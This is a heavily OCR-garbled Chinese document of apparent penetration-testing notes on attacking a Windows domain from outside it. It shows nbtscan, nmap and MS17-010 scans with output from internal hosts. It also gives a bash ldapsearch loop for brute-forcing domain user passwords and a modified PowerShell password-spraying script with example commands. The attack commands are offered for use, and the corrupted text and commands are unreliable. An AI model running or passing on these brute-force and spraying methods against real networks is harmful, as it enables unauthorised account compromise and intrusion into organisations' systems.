2024域外渗透域内思路.docx
域外渗透域内方法目前我知道的方法,通过nbtscan去看那些机器是域机器，Idap定位域控,还有扫描那些机器开启了kerberos然后针对加入域内的机器去针对性的打，还有针对域控利用AS-REQ阶段去枚举用户名和密码，想问问还有其他思路么扫描探测IdaPIdaP定位域控1nm叩-T3-sV-n-sT-p389,636,3268,3269-v-open192.168.159.0/24nbtscan1nbt.exe172.16.0.0/162nbt.exe172.16.172.0/24C:MJsersAdministratorDesktop>nbt.e×e172.16.0.0/16172.16.0.19Workgroupwin-gdiAGlQNUi2SHARING172.16.0.36172.16.0.39WorkgrouPsERUER2003UORKGROPWIN-0F7SFlPUGB3SHARING172.16.0.44Workgroup<芍pbcpnSHARING172.16.0.58'RKGROIIP.BiSHARING172.16.0.121beSHARING172.16.0.122SHARING172.16.0.127CHISHARINGDC172.16.0.153WORhswa11-866ARIGK4PUSHARING172.16.0.170WorkgroupwiNDoWS-x1Q2N2HSHARING172.16.0.221172.16.0.222Uorkgroupwindows-obubbsaworkgropwin-lr8nq6u7gqSHARING172.16.0.235Workgroupwin-hae4pcgi1.2JSHARINGrc|C：Use*sSAdministratorDesktop>nbt.e×e172.16.172.0/24172.16.172.9UorkgrouPw1n-8ps8fucos00SHARING172.16.172.13Workgroupxchemical-SqlrouSHARING172.16.172.15WorkgroupschemiCfi1.-REPORTSHARING1cping40.exescanosver192.168.7.1192.168.7.2552cping35.exescansmbvul192.168.7.1192.168.7.255msl7010IP172.16. 0.58172.16.0.25172.16.0.39172.16.0.26172.16.0.30172.16.0.90172.16.0.20172.16. 0.121172.16.0.27172.16.0.28172.16.0.22172.16. 0.24172.16.0.23172.16.0.21172.16.0.29172.16.0.19172.16.0.170172.16.0.34172.16.0.120172.16.0.44172.16. 0.2331721673RIACHe、12-34-56-78-9-BCYl12-34七6-78-9A-BCWIh-u1.AH01.04O12-34-56-78-9A-BCWIN-OF7SF1PUGB312-34-56-78-9A-BCWIN-C3Q0EFBR2II12-34-56-78-9A-BCWIN-T9三V72TDRK912-34-56-78-9A-BCdjgl12-34-56-78-9A-B-FPUN2KV5K12-34-56-78-9A-Bk-DC-02.12-34-56-78-9A-BCW.一P5HSIMJ12-34-56-78-9A-BCWIN-O1.VlJPPREQQ12-34-56-78-9A-BCWlN-DGEo866A5OJ12-34-56-78-9A-BCWIN-R61NUIQDENK12-34-56-78-9A-BCWIN4J0CJI1DA3FE12-34-56-78-9A-BCWIN-OI494ORABDI12-34-56-78-9A-BCWlN-K440807GJOB12-34-56-78-9A-BCWINYDlAGIQNU1212-34-56-78-9A-BCWINDOWS-X1Q2N2H12-34-56-78-9-BCWTN-Ri3RQTTUOim12-34-56-78-9A-E.Yc-OJ12-34-56-78-9A-K.CSOPBC.12-34-56-78-9A-BCWIN-73DVRBGBOA917-34-EA-7R-<iA-RCWTN-MAE4PCGTI7TOSverWin(R)2008Enterprise6001SP1Win2016Standard143931Win2016Standard14393(Win2016Standard14393Win2016Standard14393Win2008R2Enterprise7601SP1r«?n2。，',4393Win2012R2Standard9600“standard14393Win2016Standard14393Xin2016Standard14393Win2016Standard14393Win2016Standard14393Win2016Standard14393Win2016Standard14393Win2008R2Standard7601SP1Win2008R2Enterprise7600e：YSe7601SP1Win2012R2Standard9600<.V*XVMt*4393(Win2008R2Enterprise7601SP1Win7RR7FntmricP7fi1SP11Idapscan11.adon.exe172.16.0.0/24Idapscan问题，可能会存在多个389端口，通过对比上面的信portscan11.adon.exe172.16.0.0/24PortScan配置端口port.txt2port.txt387-894388-390域外暴力破解域用户口令的方法IinUX下循环实现暴力破解，完整的bash命令如下:1foriin$(cattest.txt);doecho-e"n$i"Idapsearch-×-HIdap:/192.168.test.txt保存所有用户名，如果口令正确，输出查询结果的个数，如果口令错误，返回验证错误：ldap_bind:Invalidcredentials(49)输出结果如下图:#foriin$(cattest.txt);doecho-e-niJldapsearch-x-H1dap:/192.168.1.1:389-DBCN«e$ie,CN三Users,DC三test,DC三com-wDomainUserl23!-b'DC*test,DC三comgrep'#numEntriea;doneIllllIdaP_bind:Invalidcredentials(49)additionalinfo:80090308：1.dapErr:DSID-0C0903C5fcomment:AcceptsGcurityContexterror,data52etv25822222IdaP_bind:Invalidcredentials(49)additionalinfo:80090308：1.dapErr:DSID-0C93C5,comment:AcceptsecurityContexterror,data52e,v25833333ldap.bind:Invalidcredentials(49)additionalinfo:80090308：1.dapErr:DSID-0C0903C5,comment:AcceptsGcurityContexterror,data52etv258044444ldap-bind:Invalidcredentials(49)additionalinfo:80090308：1.dapErr:DSID-0C093C5rcomment:AcceptsGcurityContexterror,data52etv25855555ldap_bind:Invalidcredentials(4Q>additionalinfoR<*C308:1.dapErr:DSID-0C093C5,comment:AcceptsecurityContexterrc*,uata52etv258testb#numEntries:281HWindOWS下WindOWS系统通过InVOke-DOmainPaSSWOrdSPrayOUtSideTheDOmain暴力破解域用户口令DOmainPaSSWOrdSPray的功能比较完整，但不支持域外的使用，所以我在DOmainPaSSWOrdSPray的基础上做了一些修改，使其支持域外的使用具体修改的位置如下：原版中修改1.DAP查询的语句:1JDomainContext=New-ObjectSystem.DirectoryServices.ActiveDirectory.Directo2$DOnlaine)bject=System.DirectoryServices.ActiveDirectory.Domain:GetDomain3$CUrrentDomain="1.DAP:/"+(ADSI"1.DAP:/$Domain").ClistinguishedName替换为1.DAP的直询语句,示例：192.168.1.lDC=test,DOconT最络的完整查询语句为：1.DAP192.168.1.lDC=test,DC=com由于是在域外进行暴力破解，无法获得域用户的口令策略，所以我移除了DOmainPaSSWOrdSPray中获得口令策略的功能我已经将修改后的代码上传至github,地址如下：DomainpasswordSprayOutsideTheDomain.ps1域外使用的示例命令如下：1Invoke-DomainpasswordSprayOutsideTheDomain-Domain"192.168.1.lDC=testjDC=cPSC:test>import-InodIlle.Inoke-DonainPasSwordSprayOutsIdeTheDonain.psiPSC:test>Inuoke-Do11ainPassuordSpra,OutsideTeDo11ain-Domain,192.168.1.lDC=test,DC=com"-User1.ist.user.txt-PasswordDo11ainUserl23?-UerboseI1.DAP:/192.168.1.lDC=test,DC=con
